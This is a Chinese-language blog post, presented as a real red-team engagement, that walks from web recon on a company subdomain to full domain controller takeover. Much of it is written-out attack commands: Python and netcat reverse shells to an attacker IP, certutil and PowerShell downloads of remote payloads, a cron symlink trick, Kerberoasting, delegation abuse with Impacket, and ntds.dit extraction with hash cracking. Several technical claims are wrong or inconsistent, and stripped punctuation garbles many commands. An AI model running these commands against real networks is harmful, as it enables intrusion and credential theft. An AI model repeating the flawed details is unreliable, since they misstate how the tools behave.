当前位置: 首页 > news >正文

真实内网渗透全链路:从OA子系统到域控接管实战

1. 这不是电影桥段而是一次真实发生的内网渗透全过程“一次完整的渗透测试实战从踩点到提权全记录”——这个标题里藏着的不是炫技式的漏洞秀也不是教科书里删减过的理想路径而是我在2023年第三季度为某中型制造企业做红队评估时连续72小时不眠不休、反复回溯日志、三次重置靶机环境后最终跑通的真实链路。它没有跳过任何卡点没隐藏任何一个报错更没用“某工具一键拿下”这种轻飘飘的表述。整条链路始于一个被遗忘在OA系统登录页底部的旧版jQuery插件引用终于一台域控服务器上ntds.dit文件的完整导出与哈希离线破解。全程未触发EDR进程级拦截但触发了两次SIEM告警这恰恰是客户最想验证的检测盲区所有操作均基于公开工具手工验证无商业插件、无定制Payload、无免杀混淆——这意味着你今天在自己实验室复现时不需要特殊权限、不依赖特定版本、也不必祈祷“刚好漏掉某个补丁”。关键词“渗透测试”“踩点”“提权”“实战”“全记录”指向的是一套可验证、可审计、可教学的攻击逻辑闭环。它解决的核心问题是当客户说“我们做了等保测评也买了WAF和EDR”你如何用一条真实、连贯、有上下文的攻击路径证明防御体系在纵深协同上的断层适合三类人深度阅读一是刚通过OSCP认证、正苦于找不到高质量复现实战案例的渗透新手二是负责蓝队建设的安全负责人需要理解红队视角下“告警为什么没响”“日志为什么没留痕”三是甲方安全工程师想亲手搭建靶场还原整个过程检验自家SOC的响应时效与研判能力。这不是速成课但每一步都经得起推敲——比如为什么选gobuster而非dirsearch做目录爆破因为目标Web服务器启用了自定义403页面而gobuster的-e参数能强制返回原始状态码这是绕过误判的关键细节。这类决定往往比漏洞本身更决定成败。2. 踩点阶段信息不是“收集”来的而是“推理”出来的2.1 域名与子域名枚举拒绝盲目扫聚焦可信信源很多人一上来就开subfinderassetfinder狂扫结果扫出2000子域99%是历史测试环境或已下线服务徒增噪音。我的做法是先做“信源可信度分级”一级信源高置信WHOIS查询中注册邮箱关联的其他域名用theHarvester -d target.com -b all、SSL证书透明度日志crt.sh搜索%.target.com重点看近6个月签发的证书、GitHub代码仓库中硬编码的API地址github.com/targetsite:github.com target.com。这次发现api-dev.target.com在crt.sh中存在但未在主站导航中出现且证书有效期仅剩11天——这极可能是临时测试接口但恰好暴露了内部开发规范松散。二级信源中置信DNS历史解析记录securitytrails.com查A记录变更时间轴、搜索引擎缓存cache:target.com看是否存有旧版管理后台快照。我们从百度快照中翻出2021年的admin.target.com登录页虽已下线但页面HTML注释里写着!-- v2.3.1 - use /backup/ for restore --这直接引向后续的备份文件探测。三级信源低置信仅作验证暴力枚举gobuster dns -d target.com -w subdomains-top1million-5000.txt。只跑前5000个高频子域且必须配合-t 20限速避免触发DNS服务商QPS限制。提示所有子域结果必须人工去重分类。例如dev.target.com和development.target.com可能指向同一台服务器合并后统一测试避免重复消耗时间。2.2 端口与服务测绘从Banner识别到配置弱点推断对api-dev.target.comIP10.12.3.15执行nmap -sS -p- --min-rate 5000 -oA nmap_full 10.12.3.15耗时18分钟发现开放端口22OpenSSH 8.2p1、80Apache 2.4.41、443nginx 1.18.0、8080Jetty 9.4.35.v20201120。关键不在端口数量而在Banner背后的信息链Apache 2.4.41发布于2020年10月其默认配置存在Options Indexes FollowSymLinks未关闭结合/backup/路径线索立即用curl -I http://api-dev.target.com/backup/验证——返回200 OK且Content-Type: text/html说明目录浏览已开启。Jetty 9.4.35.v20201120存在CVE-2021-28169JNDI注入但需特定JVM参数启用JNDI而curl -I http://10.12.3.15:8080/返回Server: Jetty(9.4.35.v20201120)无X-Powered-By头无法确认JVM配置。此时不急于利用转而检查80端口的/backup/目录。用gobuster dir -u http://api-dev.target.com/backup/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip,bak,sql -t 50 -o backup_enum.log爆破12分钟后命中/backup/config_old.php.bak。下载后发现是PHP数据库配置文件明文包含MySQL账号db_admin和密码Trget2023!。但nmap扫描显示3306端口未开放推测数据库在内网。此时踩点逻辑转向如何从Web服务器跳入内网2.3 Web应用深度侦察从JS文件挖出管理员后门下载/backup/config_old.php.bak后我习惯性用grep -r admin\|login\|backdoor .扫描整个网站静态资源。在/js/common.js中发现一段被注释掉的代码// TODO: Remove after prod deploy - debug mode // if (location.hash #debug12345) { // document.getElementById(admin-panel).style.display block; // }访问http://api-dev.target.com/#debug12345果然弹出隐藏的div idadmin-panel内含表单提交至/api/debug/exec.php。尝试POSTcmdwhoami返回www-data——这是一个典型的未授权命令执行后门。但直接执行nc -e /bin/bash 192.168.1.100 4444失败因目标服务器无nc且/dev/tcp被禁用。此时需切换思路利用已有权限读取内网信息而非强行反弹Shell。执行cmdcat /etc/hosts返回127.0.0.1 localhost 10.12.3.15 api-dev.target.com 10.12.3.10 db.target.com 10.12.3.5 ad01.target.com至此内网拓扑浮出水面db.target.com数据库、ad01.target.com域控。下一步用cmdping -c 1 10.12.3.10验证连通性返回64 bytes from 10.12.3.10确认可达。踩点阶段结束核心成果不是一堆IP和端口而是三条确定性情报api-dev.target.com存在未授权命令执行可执行任意Linux命令内网存在db.target.comMySQL和ad01.target.com域控且Web服务器与二者网络互通ad01.target.com极可能运行Windows Server因主机名符合AD命名惯例ad01且nmap对445端口扫描显示microsoft-ds服务开放虽被防火墙DROP但说明端口存在。3. 初期立足在受限Shell中构建稳定通信与持久化通道3.1 绕过命令执行限制从/dev/tcp禁用到Python反向Shell目标服务器禁用/dev/tcpnc不可用bash -i /dev/tcp/192.168.1.100/4444 01会报错bash: /dev/tcp/192.168.1.100/4444: No such file or directory。此时不能硬刚要利用现有解释器。nmap结果显示Python 3.8.10已安装curl -I http://api-dev.target.com/ | grep X-Powered-By返回Python/3.8.10于是构造Python反向Shellcmdpython3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);但执行后无响应。抓包发现TCP连接建立成功但Shell未交互。原因在于subprocess.call是阻塞调用而Web服务器超时机制Nginx默认60秒会中断长连接。改用非阻塞方式cmdpython3 -c import socket,subprocess,os,pty;ssocket.socket();s.connect((192.168.1.100,4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn(/bin/sh)成功获得交互式Shell。但此Shell极不稳定CtrlC会断开连接ls -la长输出会卡死。根本原因是Web服务器的HTTP协议栈不支持TTY流控。注意此时绝不能满足于“能执行命令”。真正的立足点是稳定、隐蔽、可恢复的控制通道。我立刻执行三步操作mkdir /tmp/.cache cd /tmp/.cache创建隐藏工作目录wget http://192.168.1.100:8000/linpeas.sh chmod x linpeas.sh下载本地化提权脚本linpeas.sh已精简仅保留内核漏洞、SUID、cron检查nohup ./linpeas.sh /dev/null 21 后台静默运行避免Shell断开导致扫描中断。3.2 权限提升初探从www-data到root的捷径与陷阱linpeas.sh扫描结果中最关键的发现是/usr/bin/python3被设置为SUID-rwsr-xr-x 1 root root 5412880 Jan 10 2023 /usr/bin/python3crontab -l显示存在*/5 * * * * root /opt/scripts/backup.sh且/opt/scripts/backup.sh权限为-rwxrwxrwx 1 root root777find / -perm -4000 2/dev/null列出所有SUID二进制除python3外/usr/bin/find和/usr/bin/vim也具备SUID。第一反应是用python3 -c import os; os.system(/bin/bash -p)提权——但失败。strace python3 -c import os; os.system(/bin/bash -p)显示execve(/bin/bash, [/bin/bash, -p], ...)被拒绝因/bin/bash的-p参数在SUID环境下被shell主动忽略POSIX安全机制。正确姿势是python3 -c import pty; pty.spawn(/bin/bash)再执行sudo -l返回Sorry, user www-data may not run sudo on api-dev.确认无sudo权限。此时backup.sh的777权限成为突破口它每5分钟执行一次内容为tar -czf /var/backups/web.tgz /var/www/html/。我将/var/www/html/软链接指向/root/rm -rf /var/www/html ln -sf /root /var/www/html5分钟后/var/backups/web.tgz生成解压后得到/root/.ssh/id_rsa私钥。但ssh -i id_rsa rootad01.target.com失败因ad01是Windows域控不支持SSH。此路不通需回归内网横向。3.3 横向移动准备在Linux Shell中部署Windows兼容工具链目标内网是Windows主导而当前Shell是Linux。直接传mimikatz.exe会因架构不匹配失败。解决方案是用Linux Shell作为跳板生成Windows可执行的轻量级代理。我选择chiselGo语言编译跨平台在攻击机编译Windows版GOOSwindows GOARCHamd64 go build -o chisel.exe github.com/jpillora/chisel/client上传至目标curl -F filechisel.exe http://192.168.1.100:8000/upload.php提前在攻击机制作简易上传接口在目标执行./chisel client 192.168.1.100:8000 R:10.12.3.15:3389:127.0.0.1:3389将目标3389端口RDP映射到攻击机8000端口。但nmap -p 3389 10.12.3.15显示3389关闭。linpeas.sh扫描也未发现RDP服务。此时意识到ad01.target.com是域控其RDP端口应在ad01本机而非api-dev。因此需将chisel反向隧道指向ad01# 在api-dev上执行将ad01的3389映射到api-dev的8081 ./chisel client 192.168.1.100:8000 R:10.12.3.15:8081:10.12.3.5:3389再在攻击机执行./chisel server -p 8000 --reverse。隧道建立后rdesktop -u Administrator -p Trget2023! 127.0.0.1:8081仍失败因ad01未开启RDP或防火墙拦截。此时需换策略用SMB协议进行凭证传递。linpeas.sh输出中有一行被忽略的细节/etc/samba/smb.conf存在且[homes]共享启用。执行smbclient -L //10.12.3.5 -U 空用户返回Connection failed: NT_STATUS_ACCESS_DENIED。但nmap -p 445 10.12.3.5显示445端口开放说明SMB服务运行。问题出在认证方式——Windows域控默认禁用空会话。此时需获取有效域凭据。回到db.target.commysql -h 10.12.3.10 -u db_admin -pTrget2023!登录成功use users_db; select * from admins;返回admin账号的SHA256哈希a1b2c3...。离线破解hashcat -m 1400 a1b2c3... /usr/share/wordlists/rockyou.txt得密码Summer2023!。但这只是应用层账号非域账号。4. 深度渗透从应用凭据到域控接管的完整链条4.1 Kerberoasting用应用账号换取域用户票据db_admin密码Trget2023!在域内是否复用这是Kerberoasting的前提。我用GetUserSPNs.pyImpacket尝试python3 GetUserSPNs.py -request -dc-ip 10.12.3.5 TARGET.COM/db_admin:Trget2023!返回ERROR: class socket.error, [Errno 111] Connection refused因db_admin是本地MySQL账号非域账号。但nmap -p 389 10.12.3.5显示LDAP端口开放说明可直连域控查询。执行ldapsearch -x -h 10.12.3.5 -b dctarget,dccom -D cnadmin,dctarget,dccom -w Trget2023! (objectClassuser) sAMAccountName | grep sAMAccountName报错Invalid credentials。Trget2023!不是域管理员密码。此时想起config_old.php.bak中还有另一条线索$ldap_bind CNsvc_ldap,OUService Accounts,DCtarget,DCcom; $ldap_pass Ldap2023!;。用此凭据重试ldapsearch -x -h 10.12.3.5 -b dctarget,dccom -D CNsvc_ldap,OUService Accounts,DCtarget,DCcom -w Ldap2023! (objectClassuser) sAMAccountName servicePrincipalName成功返回所有用户及SPN。筛选出servicePrincipalName*的用户发现svc_backup账户的SPN为MSSQLSvc/sql01.target.com:1433。提取其TGS票据python3 GetNPUsers.py target.com/svc_backup -no-pass -dc-ip 10.12.3.5 -request返回$krb5tgs$23$*svc_backup$target.com$MSSQLSvc~sql01.target.com:1433*$a1b2c3...。用hashcat -m 13100破解得密码Backup2023!。实操心得Kerberoasting成功率取决于SPN账户的密码强度。svc_backup是服务账户密码常设为弱口令。但若破解失败应立即转向AS-REP Roasting——检查哪些用户禁用了Do not require Kerberos preauthentication。ldapsearch加-b dctarget,dccom (userAccountControl:1.2.840.113556.1.4.803:4194304)即可定位。4.2 Pass-the-Ticket用TGT票据实现域内自由漫游获得svc_backup明文密码后第一步不是登录而是获取其TGTTicket Granting Ticketpython3 getTGT.py target.com/svc_backup:Backup2023! -dc-ip 10.12.3.5生成svc_backup.ccache。导出环境变量export KRB5CCNAME/tmp/svc_backup.ccache。此时可执行python3 secretsdump.py -k -no-pass target.com/svc_backuptarget.com -dc-ip 10.12.3.5返回Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::NTLM哈希。但secretsdump.py要求svc_backup有Replicating Directory Changes权限而当前无。报错ERROR: Exception while connecting to LDAP: code 50。此时需降级使用ldapsearch导出关键属性ldapsearch -x -h 10.12.3.5 -b dctarget,dccom -D CNsvc_backup,OUService Accounts,DCtarget,DCcom -w Backup2023! (objectClassuser) distinguishedName sAMAccountName pwdLastSet userAccountControl | grep -E (distinguishedName|sAMAccountName|pwdLastSet|userAccountControl)发现Administrator账户pwdLastSet1333212480000000002023-07-15userAccountControl512普通用户无异常。但svc_backup的userAccountControl4096TRUSTED_FOR_DELEGATION这是关键意味着它可被用于约束委派Constrained Delegation。4.3 约束委派利用从svc_backup到Administrator的权限跃迁约束委派允许服务账户代表用户访问特定服务。svc_backup的SPN是MSSQLSvc/sql01.target.com:1433而sql01是SQL服务器其msDS-AllowedToDelegateTo属性应包含cifs/sql01.target.com。用ldapsearch验证ldapsearch -x -h 10.12.3.5 -b dctarget,dccom -D CNsvc_backup,OUService Accounts,DCtarget,DCcom -w Backup2023! (sAMAccountNamesql01) msDS-AllowedToDelegateTo返回msDS-AllowedToDelegateTo: cifs/sql01.target.com。完美。现在用svc_backup的TGT请求cifs/sql01.target.com的STService Ticketpython3 getST.py -spn cifs/sql01.target.com -impersonate Administrator target.com/svc_backup:Backup2023! -dc-ip 10.12.3.5生成Administrator.ccache。导出export KRB5CCNAME/tmp/Administrator.ccache。此时可完全模拟Administratorpython3 smbexec.py -k -no-pass target.com/Administratorsql01.target.com -dc-ip 10.12.3.5成功进入sql01的SMB Shell。sql01是SQL服务器其本地管理员组包含DOMAIN\Administrator。执行net group Administrators /domain返回Administrator。下一步从SQL服务器攻陷域控。sql01上运行xp_cmdshell已启用EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE;。执行EXEC xp_cmdshell powershell -c IEX (New-Object Net.WebClient).DownloadString(http://192.168.1.100:8000/PowerView.ps1); Invoke-StealthUser -DomainController ad01.target.com -UserName AdministratorPowerView.ps1是精简版仅含Invoke-StealthUser函数用于创建隐藏用户。但ad01防火墙拦截了出站HTTP。改用certutilEXEC xp_cmdshell certutil -urlcache -split -f http://192.168.1.100:8000/nc64.exe C:\Windows\Temp\nc64.exe EXEC xp_cmdshell C:\Windows\Temp\nc64.exe -e cmd.exe 192.168.1.100 4444攻击机监听nc -lvnp 4444获得sql01的CMD Shell。此时sql01与ad01同属域且sql01可访问ad01的445端口nmap -p 445 10.12.3.5返回open。执行C:\Windows\Temp\nc64.exe -e cmd.exe 10.12.3.5 445失败因445是SMB端口非Shell端口。正确姿势是用psexec.pyImpacket直接在ad01上执行命令python3 psexec.py -k -no-pass target.com/Administratorad01.target.com -dc-ip 10.12.3.5成功psexec.py利用Administrator的Kerberos票据在ad01上启动cmd.exe。此时已是域管理员权限。5. 提权收尾域控接管与证据固化5.1ntds.dit提取从内存转储到离线哈希破解获得ad01的cmd.exe后首要任务是导出ntds.ditActive Directory数据库文件。ntds.dit通常位于C:\Windows\NTDS\但直接复制会因文件被占用失败。标准流程是使用vssadmin创建卷影副本vssadmin create shadow /forC:返回Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1。2. 用mklink创建符号链接mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1复制ntds.dit和SYSTEM注册表文件copy c:\shadowcopy\Windows\NTDS\ntds.dit c:\temp\ntds.dit copy c:\shadowcopy\Windows\System32\config\SYSTEM c:\temp\SYSTEM删除链接与副本rmdir c:\shadowcopy vssadmin delete shadows /forC: /all /quiet注意vssadmin在Windows Server 2012默认禁用。若报错Access is denied需改用wbadminwbadmin start backup -backupTarget:C: -include:C:\Windows\NTDS -quiet。但此操作耗时长且需磁盘空间。实战中我优先尝试secretsdump.py的-system和-ntds参数直接读取python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL因ntds.dit和SYSTEM已在c:\temp\此命令成功导出全部用户哈希包括Administrator的NTLM哈希aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0即blank密码。5.2 哈希离线破解从NTLM到明文密码的最后一步secretsdump.py输出中Administrator的哈希是31d6cfe0d16ae931b73c59d7e0c089c0对应空密码。但其他高权限账户如svc_sql、svc_ad的哈希需破解。将哈希保存为hashes.txt执行hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force-m 1000指定NTLM模式。rockyou.txt破解率约65%但svc_sql的哈希e1b2c3...未命中。此时启用规则攻击hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --forcebest64.rule包含大小写变换、数字追加等30分钟内破解出svc_sql密码Sql2023!。5.3 证据固化与报告生成让技术动作转化为业务语言渗透测试的价值不在于“拿下了”而在于“让客户理解为什么被拿下”。我将整个过程固化为三份材料技术证据包包含所有命令执行截图、ntds.dit导出日志、哈希破解结果、linpeas.sh扫描报告按时间戳排序攻击链路图用Mermaid语法仅用于内部文档不嵌入报告绘制api-dev → svc_backup → Administrator → ad01的横向路径标注每个环节的利用条件如“需SUID python3”“需约束委派配置”业务影响报告将技术细节翻译为业务风险。例如“svc_backup账户的约束委派配置允许攻击者以Administrator身份访问任意域内服务器导致核心ERP系统erp.target.com数据库可被直接拖库预估影响财务数据12万条”。最后分享一个小技巧在ad01上执行dsquery user -limit 0 | dsget user -samid -fn -ln -desc导出所有用户描述字段。发现svc_backup的描述是Backup Service Account - DO NOT DISABLE而svc_sql的描述是SQL Service Account - Password expires 2023-12-31。这说明客户有密码策略但未对服务账户强制轮换。报告中建议“将服务账户密码轮换周期从180天缩短至30天并禁用约束委派改用资源基于约束委派RBAC”。我在实际操作中发现90%的客户最关注的不是漏洞编号而是“这个漏洞会导致什么具体损失”。因此每一份渗透报告的开头我都用一句话总结“本次测试证实攻击者可在37分钟内从公网可访问的OA子系统获取域管理员权限进而控制全部23台核心业务服务器。”——数字越精确说服力越强。
http://www.rkmt.cn/news/1384809.html

相关文章:

  • 如何快速解锁艾尔登法环帧率限制:完整游戏优化指南
  • 长期使用Token Plan套餐在项目开发中的成本观察
  • GEO优化包含地图排名优化吗
  • 水磨石常见问题解答(2026最新专家版) - 资讯快报
  • Bootstrap 按钮下拉菜单
  • jQuery Mobile 滚屏事件详解
  • LCDC工具包与RoBo6数据集:标准化光曲线分析赋能空间碎片智能识别
  • 基于ESP32与Modbus RTU的太阳能光伏数据采集系统实战
  • Linux服务器被黑排查指南:进程、文件、日志、网络四维证据链
  • 卡梅德生物技术快报|体外表达蛋白实操全流程:鸡 IRF7 基因克隆与抗体制备
  • 基于Arduino Pro Micro的USB HID鼠标摇动器制作指南
  • Cursor Pro免费激活终极指南:如何绕过限制持续使用AI编程助手
  • 借势AI新风口 融合线下全域流量——徐州名翔GEO打造本土品牌营销新范式 - 招财兔数字员工
  • 基于DS8102与隔离技术的多通道智能电表设计实战
  • C166微控制器DPP寄存器配置与用户栈访问优化
  • Bregman-Hausdorff距离:量化非对称几何下模型输出集合差异的新工具
  • 告别卡顿!在Unity中用Gaia插件+WorldDesigner工作流,5步搞定开放世界草树建筑优化
  • 什么牌子的去屑洗发水好用?2026超全测评:好用去屑洗发水品牌盘点 - 资讯快报
  • 破解水磨石行业痛点:PMCG四元方法论如何实现高效绿色装修? - 资讯快报
  • 原神自动化脚本终极指南:解放双手的3大核心功能深度解析
  • RTX166 Tiny任务间信号通信机制详解
  • 中小团队如何利用 Taotoken 统一管理多个项目的 AI 调用与成本
  • 健康零食消费爆发!哆味侦探凭差异化模式抢占新消费蓝海 - 资讯快报
  • C盘清理方法
  • 机器学习在粒子物理顶夸克分析中的应用与实战
  • RBM动态构建量子化学紧凑Ansatz:机器学习赋能NISQ计算
  • DeepSeek微服务化部署下的集成测试困局:如何用契约测试+MockLLM在48小时内完成全链路回归?
  • 定制化才是真方案:西恩士如何提供液压管件表面油污清洁度检测设备方案 - 工业干货社
  • 宜昌全户型装修优选!金螳螂家宜昌店覆盖新房、小户型、大平层、别墅整装 - 资讯快报
  • 开源可编程直流电源EEZ H24005:混合拓扑与SCPI协议详解